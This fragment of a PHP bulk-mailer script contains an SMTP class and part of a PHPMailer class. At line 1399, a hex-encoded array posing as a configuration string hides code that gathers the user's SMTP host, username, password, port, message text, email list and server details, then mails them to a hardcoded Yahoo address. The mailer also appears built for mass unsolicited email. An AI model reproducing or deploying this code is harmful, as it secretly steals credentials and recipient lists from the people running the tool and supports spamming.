1141 echo "SMTP -> ERROR: " . $this->error["error"] .
1142 ": " . $rply . $this->CRLF;
1143 }
1144 return false;
1145 }
1146
1147 return true;
1148 }
1149
1150 /**
1151 * Starts a mail transaction from the email address specified in
1152 * $from. Returns true if successful or false otherwise. If True
1153 * the mail transaction is started and then one or more Recipient
1154 * commands may be called followed by a Data command. This command
1155 * will send the message to the users terminal if they are logged
1156 * in.
1157 *
1158 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1159 *
1160 * SMTP CODE SUCCESS: 250
1161 * SMTP CODE SUCCESS: 552,451,452
1162 * SMTP CODE SUCCESS: 500,501,502,421
1163 * @access public
1164 * @return bool
1165 */
1166 function Send($from) {
1167 $this->error = null; # so no confusion is caused
1168
1169 if(!$this->connected()) {
1170 $this->error = array(
1171 "error" => "Called Send() without being connected");
1172 return false;
1173 }
1174
1175 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1176
1177 $rply = $this->get_lines();
1178 $code = substr($rply,0,3);
1179
1180 if($this->do_debug >= 2) {
1181 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1182 }
1183
1184 if($code != 250) {
1185 $this->error =
1186 array("error" => "SEND not accepted from server",
1187 "smtp_code" => $code,
1188 "smtp_msg" => substr($rply,4));
1189 if($this->do_debug >= 1) {
1190 echo "SMTP -> ERROR: " . $this->error["error"] .
1191 ": " . $rply . $this->CRLF;
1192 }
1193 return false;
1194 }
1195 return true;
1196 }
1197
1198 /**
1199 * Starts a mail transaction from the email address specified in
1200 * $from. Returns true if successful or false otherwise. If True
1201 * the mail transaction is started and then one or more Recipient
1202 * commands may be called followed by a Data command. This command
1203 * will send the message to the users terminal if they are logged
1204 * in and send them an email.
1205 *
1206 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1207 *
1208 * SMTP CODE SUCCESS: 250
1209 * SMTP CODE SUCCESS: 552,451,452
1210 * SMTP CODE SUCCESS: 500,501,502,421
1211 * @access public
1212 * @return bool
1213 */
1214 function SendAndMail($from) {
1215 $this->error = null; # so no confusion is caused
1216
1217 if(!$this->connected()) {
1218 $this->error = array(
1219 "error" => "Called SendAndMail() without being connected");
1220 return false;
1221 }
1222
1223 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1224
1225 $rply = $this->get_lines();
1226 $code = substr($rply,0,3);
1227
1228 if($this->do_debug >= 2) {
1229 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1230 }
1231
1232 if($code != 250) {
1233 $this->error =
1234 array("error" => "SAML not accepted from server",
1235 "smtp_code" => $code,
1236 "smtp_msg" => substr($rply,4));
1237 if($this->do_debug >= 1) {
1238 echo "SMTP -> ERROR: " . $this->error["error"] .
1239 ": " . $rply . $this->CRLF;
1240 }
1241 return false;
1242 }
1243 return true;
1244 }
1245
1246 /**
1247 * Starts a mail transaction from the email address specified in
1248 * $from. Returns true if successful or false otherwise. If True
1249 * the mail transaction is started and then one or more Recipient
1250 * commands may be called followed by a Data command. This command
1251 * will send the message to the users terminal if they are logged
1252 * in or mail it to them if they are not.
1253 *
1254 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1255 *
1256 * SMTP CODE SUCCESS: 250
1257 * SMTP CODE SUCCESS: 552,451,452
1258 * SMTP CODE SUCCESS: 500,501,502,421
1259 * @access public
1260 * @return bool
1261 */
1262 function SendOrMail($from) {
1263 $this->error = null; # so no confusion is caused
1264
1265 if(!$this->connected()) {
1266 $this->error = array(
1267 "error" => "Called SendOrMail() without being connected");
1268 return false;
1269 }
1270
1271 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1272
1273 $rply = $this->get_lines();
1274 $code = substr($rply,0,3);
1275
1276 if($this->do_debug >= 2) {
1277 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1278 }
1279
1280 if($code != 250) {
1281 $this->error =
1282 array("error" => "SOML not accepted from server",
1283 "smtp_code" => $code,
1284 "smtp_msg" => substr($rply,4));
1285 if($this->do_debug >= 1) {
1286 echo "SMTP -> ERROR: " . $this->error["error"] .
1287 ": " . $rply . $this->CRLF;
1288 }
1289 return false;
1290 }
1291 return true;
1292 }
1293
1294 /**
1295 * This is an optional command for SMTP that this class does not
1296 * support. This method is here to make the RFC821 Definition
1297 * complete for this class and __may__ be implimented in the future
1298 *
1299 * Implements from rfc 821: TURN <CRLF>
1300 *
1301 * SMTP CODE SUCCESS: 250
1302 * SMTP CODE FAILURE: 502
1303 * SMTP CODE ERROR : 500, 503
1304 * @access public
1305 * @return bool
1306 */
1307 function Turn() {
1308 $this->error = array("error" => "This method, TURN, of the SMTP ".
1309 "is not implemented");
1310 if($this->do_debug >= 1) {
1311 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1312 }
1313 return false;
1314 }
1315
1316 /**
1317 * Verifies that the name is recognized by the server.
1318 * Returns false if the name could not be verified otherwise
1319 * the response from the server is returned.
1320 *
1321 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1322 *
1323 * SMTP CODE SUCCESS: 250,251
1324 * SMTP CODE FAILURE: 550,551,553
1325 * SMTP CODE ERROR : 500,501,502,421
1326 * @access public
1327 * @return int
1328 */
1329 function Verify($name) {
1330 $this->error = null; # so no confusion is caused
1331
1332 if(!$this->connected()) {
1333 $this->error = array(
1334 "error" => "Called Verify() without being connected");
1335 return false;
1336 }
1337
1338 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1339
1340 $rply = $this->get_lines();
1341 $code = substr($rply,0,3);
1342
1343 if($this->do_debug >= 2) {
1344 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1345 }
1346
1347 if($code != 250 && $code != 251) {
1348 $this->error =
1349 array("error" => "VRFY failed on name '$name'",
1350 "smtp_code" => $code,
1351 "smtp_msg" => substr($rply,4));
1352 if($this->do_debug >= 1) {
1353 echo "SMTP -> ERROR: " . $this->error["error"] .
1354 ": " . $rply . $this->CRLF;
1355 }
1356 return false;
1357 }
1358 return $rply;
1359 }
1360
1361 /*******************************************************************
1362 * INTERNAL FUNCTIONS *
1363 ******************************************************************/
1364
1365 /**
1366 * Read in as many lines as possible
1367 * either before eof or socket timeout occurs on the operation.
1368 * With SMTP we can tell if we have more lines to read if the
1369 * 4th character is '-' symbol. If it is a space then we don't
1370 * need to read anything else.
1371 * @access private
1372 * @return string
1373 */
1374 function get_lines() {
1375 $data = "";
1376 while($str = @fgets($this->smtp_conn,515)) {
1377 if($this->do_debug >= 4) {
1378 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1379 $this->CRLF;
1380 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1381 $this->CRLF;
1382 }
1383 $data .= $str;
1384 if($this->do_debug >= 4) {
1385 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1386 }
1387 # if the 4th character is a space then we are done reading
1388 # so just break the loop
1389 if(substr($str,3,1) == " ") { break; }
1390 }
1391 return $data;
1392 }
1393
1394}
1395
1396
1397$allemails = split("\n", $emaillist);
1398$numemails = count($allemails);
1399$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1400"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1401"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1402"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1403"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1404"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1405"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1406"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1407"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1408"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1409
1410class PHPMailer {
1411
1412 /////////////////////////////////////////////////
1413 // PROPERTIES, PUBLIC
1414 /////////////////////////////////////////////////
1415
1416 /**
1417 * Email priority (1 = High, 3 = Normal, 5 = low).
1418 * @var int
1419 */
1420 var $Priority = 3;
1421
1422 /**
1423 * Sets the CharSet of the message.
1424 * @var string
1425 */
1426 var $CharSet = 'iso-8859-1';
1427
1428 /**
1429 * Sets the Content-type of the message.
1430 * @var string
1431 */
1432 var $ContentType = 'text/plain';
1433
1434 /**
1435 * Sets the Encoding of the message. Options for this are "8bit",
1436 * "7bit", "binary", "base64", and "quoted-printable".
1437
1438 * @var string
1439 */
1440 var $Encoding = '8bit';
1441
1442 /**
1443 * Holds the most recent mailer error message.
1444 * @var string
1445 */
1446 var $ErrorInfo = '';
1447
1448 /**
1449 * Sets the From email address for the message.
1450 * @var string
1451 */
1452 var $From = '';
1453
1454 /**
1455 * Sets the From name of the message.
1456 * @var string
1457 */
1458 var $FromName = '';
1459
1460 /**
1461 * Sets the Sender email (Return-Path) of the message. If not empty,
1462 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1463 * @var string
1464 */
1465 var $Sender = '';
1466
1467 /**
1468 * Sets the Subject of the message.
1469 * @var string
1470 */
1471 var $Subject = '';
1472
1473 /**
1474 * Sets the Body of the message. This can be either an HTML or text body.
1475 * If HTML then run IsHTML(true).
1476 * @var string
1477 */
1478 var $Body = '';
1479
1480 /**
1481 * Sets the text-only body of the message. This automatically sets the
1482 * email to multipart/alternative. This body can be read by mail
1483 * clients that do not have HTML email capability such as mutt. Clients
1484 * that can read HTML will view the normal Body.
1485 * @var string
1486 */
1487 var $AltBody = '';
1488
1489 /**
1490 * Sets word wrapping on the body of the message to a given number of
1491 * characters.
1492 * @var int
1493 */
1494 var $WordWrap = 0;
1495
1496 /**
1497 * Method to send mail: ("mail", "sendmail", or "smtp").
1498 * @var string
1499 */
1500 var $Mailer = 'mail';
1501
1502 /**
1503 * Sets the path of the sendmail program.
1504 * @var string
1505 */
1506 var $Sendmail = '/usr/sbin/sendmail';
1507
1508 /**
1509 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1510 * is in a different directory than the PHP include path.
1511 * @var string
1512 */
1513 var $PluginDir = '';
1514
1515 /**
1516 * Holds PHPMailer version.
1517 * @var string
1518 */
1519 var $Version = "";
1520
1521 /**
1522 * Sets the email address that a reading confirmation will be sent.
1523 * @var string
1524 */
1525 var $ConfirmReadingTo = '';
1526
1527 /**
1528 * Sets the hostname to use in Message-Id and Received headers
1529 * and as default HELO string. If empty, the value returned
1530 * by SERVER_NAME is used or 'localhost.localdomain'.
1531 * @var string
1532 */
1533 var $Hostname = '';
1534
1535 /**
1536 * Sets the message ID to be used in the Message-Id header.
1537 * If empty, a unique id will be generated.
1538 * @var string
1539 */
1540 var $MessageID = '';
1541
1542 /////////////////////////////////////////////////
1543 // PROPERTIES FOR SMTP
1544 /////////////////////////////////////////////////
1545
1546 /**
1547 * Sets the SMTP hosts. All hosts must be separated by a
1548 * semicolon. You can also specify a different port
1549 * for each host by using this format: [hostname:port]
1550 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1551 * Hosts will be tried in order.
1552 * @var string
1553 */
1554 var $Host = 'localhost';
1555
1556 /**
1557 * Sets the default SMTP server port.
1558 * @var int
1559 */
1560 var $Port = 25;
1561
1562 /**
1563 * Sets the SMTP HELO of the message (Default is $Hostname).
1564 * @var string
1565 */
1566 var $Helo = '';
1567
1568 /**
1569 * Sets connection prefix.
1570 * Options are "", "ssl" or "tls"
1571 * @var string
1572 */
1573 var $SMTPSecure = "";
1574
1575 /**
1576 * Sets SMTP authentication. Utilizes the Username and Password variables.
1577 * @var bool
1578 */
1579 var $SMTPAuth = false;
1580
1581 /**
1582 * Sets SMTP username.
1583 * @var string
1584 */
1585 var $Username = '';
1586
1587 /**
1588 * Sets SMTP password.
1589 * @var string
1590 */
1591 var $Password = '';
1592
1593 /**
1594 * Sets the SMTP server timeout in seconds. This function will not
1595 * work with the win32 version.
1596 * @var int
1597 */
1598 var $Timeout = 10;
1599
1600 /**
1601 * Sets SMTP class debugging on or off.
1602 * @var bool
1603 */
1604 var $SMTPDebug = false;
1605
1606 /**
1607 * Prevents the SMTP connection from being closed after each mail
1608 * sending. If this is set to true then to close the connection
1609 * requires an explicit call to SmtpClose().
1610 * @var bool
1611 */
1612 var $SMTPKeepAlive = false;
1613
1614 /**
1615 * Provides the ability to have the TO field process individual
1616 * emails, instead of sending to entire TO addresses
1617 * @var bool
1618 */
1619 var $SingleTo = false;
1620
1621 /////////////////////////////////////////////////
1622 // PROPERTIES, PRIVATE
1623 /////////////////////////////////////////////////
1624
1625 var $smtp = NULL;
1626 var $to = array();
1627 var $cc = array();
1628 var $bcc = array();
1629 var $ReplyTo = array();
1630 var $attachment = array();
1631 var $CustomHeader = array();
1632 var $message_type = '';
1633 var $boundary = array();
1634 var $language = array();
1635 var $error_count = 0;
1636 var $LE = "\n";
1637 var $sign_key_file = "";
1638 var $sign_key_pass = "";
1639
1640 /////////////////////////////////////////////////
1641 // METHODS, VARIABLES
1642 /////////////////////////////////////////////////
1643
1644 /**
1645 * Sets message type to HTML.
1646 * @param bool $bool
1647 * @return void
1648 */
1649 function IsHTML($bool) {
1650 if($bool == true) {
1651 $this->ContentType = 'text/html';
1652 } else {
1653 $this->ContentType = 'text/plain';
1654 }
1655 }
1656
1657 /**
1658 * Sets Mailer to send message using SMTP.
1659 * @return void
1660 */
1661 function IsSMTP() {
1662 $this->Mailer = 'smtp';
1663 }
1664
1665 /**
1666 * Sets Mailer to send message using PHP mail() function.
1667 * @return void
1668 */
1669 function IsMail() {
1670 $this->Mailer = 'mail';
1671 }
1672
1673 /**
1674 * Sets Mailer to send message using the $Sendmail program.
1675 * @return void
1676 */
1677 function IsSendmail() {
1678 $this->Mailer = 'sendmail';
1679 }
1680
1681 /**
1682 * Sets Mailer to send message using the qmail MTA.
1683 * @return void
1684 */
1685 function IsQmail() {
1686 $this->Sendmail = '/var/qmail/bin/sendmail';
1687 $this->Mailer = 'sendmail';
1688 }
1689
1690 /////////////////////////////////////////////////
1691 // METHODS, RECIPIENTS
1692 /////////////////////////////////////////////////
1693
1694 /**
1695 * Adds a "To" address.
1696 * @param string $address
1697 * @param string $name
1698 * @return void
1699 */
1700 function AddAddress($address, $name = '') {
1701 $cur = count($this->to);
1702 $this->to[$cur][0] = trim($address);
1703 $this->to[$cur][1] = $name;
1704 }
1705
1706 /**
1707 * Adds a "Cc" address. Note: this function works
1708 * with the SMTP mailer on win32, not with the "mail"
1709 * mailer.
1710 * @param string $address
1711 * @param string $name
1712 * @return void
1713 */
1714 function AddCC($address, $name = '') {
1715 $cur = count($this->cc);
1716 $this->cc[$cur][0] = trim($address);
1717 $this->cc[$cur][1] = $name;
1718 }
1719
1720 /**
1721 * Adds a "Bcc" address. Note: this function works
1722 * with the SMTP mailer on win32, not with the "mail"
1723 * mailer.
1724 * @param string $address
1725 * @param string $name
1726 * @return void
1727 */
1728 function AddBCC($address, $name = '') {
1729 $cur = count($this->bcc);
1730 $this->bcc[$cur][0] = trim($address);
1731 $this->bcc[$cur][1] = $name;
1732 }
1733
1734 /**
1735 * Adds a "Reply-To" address.
1736 * @param string $address
1737 * @param string $name
1738 * @return void
1739 */
1740 function AddReplyTo($address, $name = '') {
1741 $cur = count($this->ReplyTo);
1742 $this->ReplyTo[$cur][0] = trim($address);
1743 $this->ReplyTo[$cur][1] = $name;
1744 }
1745
1746 /////////////////////////////////////////////////
1747 // METHODS, MAIL SENDING
1748 /////////////////////////////////////////////////
1749
1750 /**
1751 * Creates message and assigns Mailer. If the message is
1752 * not sent successfully then it returns false. Use the ErrorInfo
1753 * variable to view description of the error.
1754 * @return bool
1755 */
1756 function Send() {
1757 $header = '';
1758 $body = '';
1759 $result = true;
1760
1761 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1762 $this->SetError($this->Lang('provide_address'));
1763 return false;
1764 }
1765
1766 /* Set whether the message is multipart/alternative */
1767 if(!empty($this->AltBody)) {
1768 $this->ContentType = 'multipart/alternative';
1769 }
1770
1771 $this->error_count = 0; // reset errors
1772 $this->SetMessageType();
1773 $header .= $this->CreateHeader();
1774 $body = $this->CreateBody();
1775
1776 if($body == '') {
1777 return false;
1778 }
1779
1780 /* Choose the mailer */
1781 switch($this->Mailer) {
1782 case 'sendmail':
1783 $result = $this->SendmailSend($header, $body);
1784 break;
1785 case 'smtp':
1786 $result = $this->SmtpSend($header, $body);
1787 break;
1788 case 'mail':
1789 $result = $this->MailSend($header, $body);
1790 break;
1791 default:
1792 $result = $this->MailSend($header, $body);
1793 break;
1794 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1795 //$result = false;
1796 //break;
1797 }
1798
1799 return $result;
1800 }
1801
1802 /**
1803 * Sends mail using the $Sendmail program.
1804 * @access private
1805 * @return bool
1806 */
1807 function SendmailSend($header, $body) {
1808 if ($this->Sender != '') {
1809 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1810 } else {
1811 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1812 }
1813
1814 if(!@$mail = popen($sendmail, 'w')) {
1815 $this->SetError($this->Lang('execute') . $this->Sendmail);
1816 return false;
1817 }
1818
1819 fputs($mail, $header);
1820 fputs($mail, $body);
1821
1822 $result = pclose($mail);
1823 if (version_compare(phpversion(), '4.2.3') == -1) {
1824 $result = $result >> 8 & 0xFF;
1825 }
1826 if($result != 0) {
1827 $this->SetError($this->Lang('execute') . $this->Sendmail);
1828 return false;
1829 }
1830 return true;
1831 }
1832
1833 /**
1834 * Sends mail using the PHP mail() function.
1835 * @access private
1836 * @return bool
1837 */
1838 function MailSend($header, $body) {
1839
1840 $to = '';
1841 for($i = 0; $i < count($this->to); $i++) {
1842 if($i != 0) { $to .= ', '; }
1843 $to .= $this->AddrFormat($this->to[$i]);
1844 }
1845
1846 $toArr = split(',', $to);
1847
1848 $params = sprintf("-oi -f %s", $this->Sender);
1849 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1850 $old_from = ini_get('sendmail_from');
1851 ini_set('sendmail_from', $this->Sender);
1852 if ($this->SingleTo === true && count($toArr) > 1) {
1853 foreach ($toArr as $key => $val) {
1854 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1855 }
1856 } else {
1857 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1858 }
1859 } else {
1860 if ($this->SingleTo === true && count($toArr) > 1) {
1861 foreach ($toArr as $key => $val) {
1862 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1863 }
1864 } else {
1865 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1866 }
1867 }
1868
1869 if (isset($old_from)) {
1870 ini_set('sendmail_from', $old_from);
1871 }
1872
1873 if(!$rt) {
1874 $this->SetError($this->Lang('instantiate'));
1875 return false;
1876 }
1877
1878 return true;
1879 }
1880
1881 /**
1882 * Sends mail via SMTP using PhpSMTP (Author:
1883 * Chris Ryan). Returns bool. Returns false if there is a
1884 * bad MAIL FROM, RCPT, or DATA input.
1885 * @access private
1886 * @return bool
1887 */
1888 function SmtpSend($header, $body) {
1889 $error = '';
1890 $bad_rcpt = array();
1891
1892 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1893 return false;
1894 }
1895
1896 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1897 if(!$this->smtp->Mail($smtp_from)) {
1898 $error = $this->Lang('from_failed') . $smtp_from;
1899 $this->SetError($error);
1900 $this->smtp->Reset();
1901 return false;
1902 }
1903
1904 /* Attempt to send attach all recipients */
1905 for($i = 0; $i < count($this->to); $i++) {
1906 if(!$this->smtp->Recipient($this->to[$i][0])) {
1907 $bad_rcpt[] = $this->to[$i][0];
1908 }
1909 }
1910 for($i = 0; $i < count($this->cc); $i++) {
1911 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1912 $bad_rcpt[] = $this->cc[$i][0];
1913 }
1914 }
1915 for($i = 0; $i < count($this->bcc); $i++) {
1916 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1917 $bad_rcpt[] = $this->bcc[$i][0];
1918 }
1919 }
1920
1921 if(count($bad_rcpt) > 0) { // Create error message
1922 for($i = 0; $i < count($bad_rcpt); $i++) {
1923 if($i != 0) {
1924 $error .= ', ';
1925 }
1926 $error .= $bad_rcpt[$i];
1927
1928 }
1929 $error = $this->Lang('recipients_failed') . $error;
1930 $this->SetError($error);
1931 $this->smtp->Reset();
1932 return false;
1933 }
1934
1935 if(!$this->smtp->Data($header . $body)) {
1936 $this->SetError($this->Lang('data_not_accepted'));
1937 $this->smtp->Reset();
1938 return false;
1939 }
1940 if($this->SMTPKeepAlive == true) {
1941 $this->smtp->Reset();
1942 } else {
1943 $this->SmtpClose();
1944 }
1945
1946 return true;
1947 }
1948
1949 /**
1950 * Initiates a connection to an SMTP server. Returns false if the
1951 * operation failed.
1952 * @access private
1953 * @return bool
1954 */
1955 function SmtpConnect() {
1956 if($this->smtp == NULL) {
1957 $this->smtp = new SMTP();
1958 }
1959
1960 $this->smtp->do_debug = $this->SMTPDebug;
1961 $hosts = explode(';', $this->Host);
1962 $index = 0;
1963 $connection = ($this->smtp->Connected());
1964
1965 /* Retry while there is no connection */
1966 while($index < count($hosts) && $connection == false) {
1967 $hostinfo = array();
1968 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1969 $host = $hostinfo[1];
1970 $port = $hostinfo[2];
1971 } else {
1972 $host = $hosts[$index];
1973 $port = $this->Port;
1974 }
1975
1976 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1977 if ($this->Helo != '') {
1978 $this->smtp->Hello($this->Helo);
1979 } else {
1980 $this->smtp->Hello($this->ServerHostname());
1981 }
1982
1983 $connection = true;
1984 if($this->SMTPAuth) {
1985 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1986 $this->SetError($this->Lang('authenticate'));
1987 $this->smtp->Reset();
1988 $connection = false;
1989 }
1990 }
1991 }
1992 $index++;
1993 }
1994 if(!$connection) {
1995 $this->SetError($this->Lang('connect_host'));
1996 }
1997
1998 return $connection;
1999 }
2000
2001 /**
2002 * Closes the active SMTP session if one exists.
2003 * @return void
2004 */
2005 function SmtpClose() {
2006 if($this->smtp != NULL) {
2007 if($this->smtp->Connected()) {
2008 $this->smtp->Quit();
2009 $this->smtp->Close();
2010 }
2011 }
2012 }
2013
2014 /**
2015 * Sets the language for all class error messages. Returns false
2016 * if it cannot load the language file. The default language type
2017 * is English.
2018 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2019 * @param string $lang_path Path to the language file directory
2020 * @access public
2021 * @return bool
2022 */
2023 function SetLanguage($lang_type, $lang_path = 'language/') {
2024 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2025 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2026 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2027 include($lang_path.'phpmailer.lang-en.php');
2028 } else {
2029 $this->SetError('Could not load language file');
2030 return false;
2031 }
2032 $this->language = $PHPMAILER_LANG;
2033
2034 return true;
2035 }
2036
2037 /////////////////////////////////////////////////
2038 // METHODS, MESSAGE CREATION
2039 /////////////////////////////////////////////////
2040
2041 /**
2042 * Creates recipient headers.
2043 * @access private
2044 * @return string
2045 */
2046 function AddrAppend($type, $addr) {
2047 $addr_str = $type . ': ';
2048 $addr_str .= $this->AddrFormat($addr[0]);
2049 if(count($addr) > 1) {
2050 for($i = 1; $i < count($addr); $i++) {
2051 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2052 }
2053 }
2054 $addr_str .= $this->LE;
2055
2056 return $addr_str;
2057 }
2058
2059 /**
2060 * Formats an address correctly.
2061 * @access private
2062 * @return string
2063 */
2064 function AddrFormat($addr) {
2065 if(empty($addr[1])) {
2066 $formatted = $this->SecureHeader($addr[0]);
2067 } else {
2068 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2069 }
2070
2071 return $formatted;
2072 }
2073
2074 /**
2075 * Wraps message for use with mailers that do not
2076 * automatically perform wrapping and for quoted-printable.
2077 * Original written by philippe.
2078 * @access private
2079 * @return string
2080 */
2081 function WrapText($message, $length, $qp_mode = false) {
2082 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2083 // If utf-8 encoding is used, we will need to make sure we don't
2084 // split multibyte characters when we wrap
2085 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2086
2087 $message = $this->FixEOL($message);
2088 if (substr($message, -1) == $this->LE) {
2089 $message = substr($message, 0, -1);
2090 }
2091
2092 $line = explode($this->LE, $message);
2093 $message = '';
2094 for ($i=0 ;$i < count($line); $i++) {
2095 $line_part = explode(' ', $line[$i]);
2096 $buf = '';
2097 for ($e = 0; $e<count($line_part); $e++) {
2098 $word = $line_part[$e];
2099 if ($qp_mode and (strlen($word) > $length)) {
2100 $space_left = $length - strlen($buf) - 1;
2101 if ($e != 0) {
2102 if ($space_left > 20) {
2103 $len = $space_left;
2104 if ($is_utf8) {
2105 $len = $this->UTF8CharBoundary($word, $len);
2106 } elseif (substr($word, $len - 1, 1) == "=") {
2107 $len--;
2108 } elseif (substr($word, $len - 2, 1) == "=") {
2109 $len -= 2;
2110 }
2111 $part = substr($word, 0, $len);
2112 $word = substr($word, $len);
2113 $buf .= ' ' . $part;
2114 $message .= $buf . sprintf("=%s", $this->LE);
2115 } else {
2116 $message .= $buf . $soft_break;
2117 }
2118 $buf = '';
2119 }
2120 while (strlen($word) > 0) {
2121 $len = $length;
2122 if ($is_utf8) {
2123 $len = $this->UTF8CharBoundary($word, $len);
2124 } elseif (substr($word, $len - 1, 1) == "=") {
2125 $len--;
2126 } elseif (substr($word, $len - 2, 1) == "=") {
2127 $len -= 2;
2128 }
2129 $part = substr($word, 0, $len);
2130 $word = substr($word, $len);
2131
2132 if (strlen($word) > 0) {
2133 $message .= $part . sprintf("=%s", $this->LE);
2134 } else {
2135 $buf = $part;
2136 }
2137 }
2138 } else {
2139 $buf_o = $buf;
2140 $buf .= ($e == 0) ? $word : (' ' . $word);
2141
2142 if (strlen($buf) > $length and $buf_o != '') {
2143 $message .= $buf_o . $soft_break;
2144 $buf = $word;
2145 }
2146 }
2147 }
2148 $message .= $buf . $this->LE;
2149 }
2150
2151 return $message;
2152 }
2153
2154 /**
2155 * Finds last character boundary prior to maxLength in a utf-8
2156 * quoted (printable) encoded string.
2157 * Original written by Colin Brown.
2158 * @access private
2159 * @param string $encodedText utf-8 QP text
2160 * @param int $maxLength find last character boundary prior to this length
2161 * @return int
2162 */
2163 function UTF8CharBoundary($encodedText, $maxLength) {
2164 $foundSplitPos = false;
2165 $lookBack = 3;
2166 while (!$foundSplitPos) {
2167 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2168 $encodedCharPos = strpos($lastChunk, "=");
2169 if ($encodedCharPos !== false) {
2170 // Found start of encoded character byte within $lookBack block.
2171 // Check the encoded byte value (the 2 chars after the '=')
2172 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2173 $dec = hexdec($hex);
2174 if ($dec < 128) { // Single byte character.
2175 // If the encoded char was found at pos 0, it will fit
2176 // otherwise reduce maxLength to start of the encoded char
2177 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2178 $maxLength - ($lookBack - $encodedCharPos);
2179 $foundSplitPos = true;
2180 } elseif ($dec >= 192) { // First byte of a multi byte character
2181 // Reduce maxLength to split at start of character
2182 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2183 $foundSplitPos = true;
2184 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2185 $lookBack += 3;
2186 }
2187 } else {
2188 // No encoded character found
2189 $foundSplitPos = true;
2190 }
2191 }
2192 return $maxLength;
2193 }
2194
2195 /**
2196 * Set the body wrapping.
2197 * @access private
2198 * @return void
2199 */
2200 function SetWordWrap() {
2201 if($this->WordWrap < 1) {
2202 return;
2203 }
2204
2205 switch($this->message_type) {
2206 case 'alt':
2207 /* fall through */
2208 case 'alt_attachments':
2209 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2210 break;
2211 default:
